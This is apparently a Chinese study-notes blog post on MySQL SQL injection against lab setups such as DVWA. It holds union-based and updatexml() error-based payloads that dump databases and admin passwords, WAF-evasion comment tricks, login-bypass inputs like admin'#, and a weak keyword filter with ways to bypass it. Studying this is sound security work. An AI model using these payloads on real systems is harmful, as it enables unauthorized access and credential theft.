10-Mysql注入漏洞

手工注入:
get:
url中带参数
xxx.asp/asp?id=123123
单引号
and 1=1
/
-0
baidu.com/xxx.php?id=12312
string=hasdfsd
string=网站
asp/aspx
access/sqlserver
post:
搜索框、登录、注册、修改资料、留言、请求头(clinet-ip、x-forwarded-for、referer)

select * from admin where id='$id'
sqlserver过waf:
and/**/1=1 用/**/代替空格
a/**/nd 1=1截断关键字

1 Mysql 介绍与常规操作

1.1 mysql简介

MySQL[1] 是一个关系型数据库管理系统,由瑞典 MySQL AB 公司开发,目前属于 Oracle 旗下公司。MySQL 最流行的关系型数据库管理系统,在 WEB 应用方面 MySQL 是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用软件之一。MySQL 是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。MySQL 所使用的 SQL 语言是用于访问数据库的最常用标准化语言。MySQL 软件采用了双授权政策(本词条“授权政策”),它分为社区版和商业版,由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,一般中小型网站的开发都选择 MySQL 作为网站数据库。由于其社区版的性能卓越,搭配 PHP 和 Apache 可组成良好的开发环境。

用于lamp或lnmp平台。主要用于linux平台。apache、nginx容器。

宝塔、phpstudy一键安装。

windows/linux+apache+php+mysql

phpstudy默认mysql工具:phpmyadmin和mysql-font

phpmyadmin官网:https://www.phpmyadmin.net/,注意和php版本匹配。示例中php版本为5.3.29。

命令行界面:

D:\phpstudy_pro\Extensions\MySQL5.7.26\bin>mysql -u root -p
Enter password: ****
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 22
Server version: 5.7.26 MySQL Community Server (GPL)

Copyright (c) 2000, 2019, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| challenges |
| dvwa |
| mysql |
| performance_schema |
| security |
| sys |
+--------------------+
7 rows in set (0.01 sec)

mysql>

 

1.2 常见sql语句

1、创建数据库
CREATE DATABASE database-name

use database-name  使用数据库
2、删除数据库
drop database dbname
3、创建新表
CREATE TABLE MYTABLE (name VARCHAR(20), sex CHAR(1));
4、查看数据库
show databases;
5、插入数据
insert into admin(username,password) value ('admin','admin');
6、查询数据
select * from admin;
7、更新修改数据
update admin set password='adsdf' where id = 1;
删除数据
8、delete from admin where id =1 ;

mysql> create database test;
Query OK, 1 row affected (0.00 sec)

mysql> use test;
Database changed
mysql> show tables;
Empty set (0.00 sec)

mysql> create table admin(id int,username char(7),pass char(50));
Query OK, 0 rows affected (0.02 sec)

mysql> show tables;
+----------------+
| Tables_in_test |
+----------------+
| admin          |
+----------------+
1 row in set (0.00 sec)

mysql> insert into admin(id,username,pass) values(1,'admin','123456');
Query OK, 1 row affected (0.00 sec)

mysql> insert into admin(id,username,pass) values(2,'user1','123456'),(3,'user2','111111');
Query OK, 2 rows affected (0.00 sec)
Records: 2  Duplicates: 0  Warnings: 0

mysql> select * from admin;
+------+----------+--------+
| id   | username | pass   |
+------+----------+--------+
|    1 | admin    | 123456 |
|    2 | user1    | 123456 |
|    3 | user2    | 111111 |
+------+----------+--------+
3 rows in set (0.00 sec)

mysql>

 

1.3 mysql函数

1:system_user() 系统用户名
2:user() 用户名
3:current_user 当前用户名
4:session_user()连接数据库的用户名
5:database() 数据库名
6:version() MYSQL数据库版本
7:load_file() 转成16进制或者是10进制,MYSQL读取本地文件的函数
8:@@datadir 读取数据库路径
9:@@basedir MYSQL 安装路径
10:@@version_compile_os 操作系统

相关函数:

1、mid()---从文本字段中提取字符
SELECT MID(column_name,start[,length]) FROM table_name;
column_name 必需。要提取字符的字段。
start 必需。规定开始位置(起始值是 1)。
length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
2、limit()---返回前几条或者中间某几行数据
select * from table limit m,n;
其m指记录始index0始表示第条记录 n指第m+1条始取n条
select * from user limit 1,2;
3、Count()---聚集函数,统计元祖的个数
4、rand()---用于产生一个0~1的随机数
5、floor()---向下取整
6、group by---依据我们想要的规则对结果进行分组
select * from user group by host;
7、length()---返回字符串的长度
select length('www.cracer.com');
8、Substr()---截取字符串 三个参数 (所要截取字符串,截取的位置,截取的长度)
select substr(host,2,3) from user;
9、Ascii()---返回字符串的ascii码
Select ascii(‘a’);

1.4 mysql注释

注释符:
#、--、/**/
内联注释:
/*!union*/和/*!50001union*/
语句中的代替符号:
用+、%0a/%0D/和/*ADJFKLASDF--234U23SJFD AND 1=1*/代替空格
用%或者/**/、%00、%01分割sql语句
编码绕过 url编码

 1.5 数据库结构对比

1、access数据库:
A网站:adata.mdb
表名(admin)
列名(user,pass)

B网站:bdata.mdb
表名(admin)
列名(user,pass)

2、mysql:
A数据库名
B数据库名
表名
列名

2 Mysql 注入原理

1.判断注入漏洞
And 1=1 and1=2
2.判断多少列,数字报错减少,正常增加
Order by 20
3.union联合查询,报字符列在第几列
union select 1,2,3,4,5
4.在字符列上报相关信息,数据库版本信息,用户,数据库名称(十六进制转换)。
union select 1,version(),3,4,5
5.指定数据库,爆数据库表名
union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from information_schema.tables where table_schema=0x6D7574696130313231
6.指定表名爆列名
union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from information_schema.columns where table_name=0x61646D696E
id,name,adminpass,right_li,right_li_b,checks,level_id
7.查询数据信息
union select 1,group_concat(name,0x5c,adminpass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from admin

 

常见防注入代码:

function check_sql($x){
$inject=array("select","union","from","and","or");

$i=str_replace($inject,"",$x);
return $i;
}

/* function check_sql($Sql_Str) {//自动过滤Sql的注入语句。
$check=preg_match('/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/i',$Sql_Str);
if ($check) {
echo '<script language="JavaScript">alert("系统警告:\n\n请不要尝试在参数中包含非法字符尝试注入!");</script>';
exit();
}else{
return $Sql_Str;
}
} */

 

 绕过防注入代码:

大小写绕过
%00编码绕过

3 Mysql 显错注入

1、判断是否存在注入输入'

2、选择显错注入函数,常见函数如下,一般选择floor()、extractvalue()、updatexml()比较多。本文以updatexml举例。

floor()、extractvalue()、updatexml()、geometrycollection()、multipoint()、
polygon()、multipolygon()、linestring()、multilinestring()、exp()

3、显错注入流程

'and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+ #查看当前数据库用户
'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ #查看当前数据库名
'and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+ #查看当前数据库
'and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e),1)--+ #查看当前数据库
'and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1),0x7e),1)--+ #查看当前数据库
'and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)--+ #查看所有数据库
'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='mysql'),0x7e),1)--+
可以看出,以~开头的内容不是xml格式的语法,报错,但是会显示无法识别的内容是什么,这样就达到了目的。
有一点需要注意,updatexml()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位
这里查询前5位示意:
'and updatexml(1,concat(0x7e,substring(hex((select database())),1,5),0x7e),1)
'and updatexml(1,concat(0x7e,substring(hex((select group_concat(schema_name) from information_schema.schemata)),1,5),0x7e),1)--+

'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='mysql' limit 0,1),0x7e),1)--+ #查看当前数据库的表名
'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='user' limit 0,1),0x7e),1)--+ #查看user表的列名
'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='user' limit 0,1),0x7e),1)--+
列用户名密码
'and updatexml(1,concat(0x7e,(select user from user limit 0,1),0x7e),1)--+
'and updatexml(1,concat(0x7e,(select password from user limit 0,1),0x7e),1)--+

%27and%20updatexml(1,concat(0x7e,substring(hex((select%20password%20from%20user%20limit%200,1)),44,75),0x7e),1)--+

4、后台绕过

select * from user where username='' and password=''
输入:admin'#
select * from user where username='admin'#' and password=''
输入:admin' or '1=1
select * from user where username='admin' or '1=1' and password=''

4 Mysql 读写文件

 

5 Mysql 注入工具使用

 

posted @ 2022-12-30 10:33  冰雪2021  阅读(147)  评论(0编辑  收藏  举报
// 侧边栏目录 // https://blog-static.cnblogs.com/files/douzujun/marvin.nav.my1502.css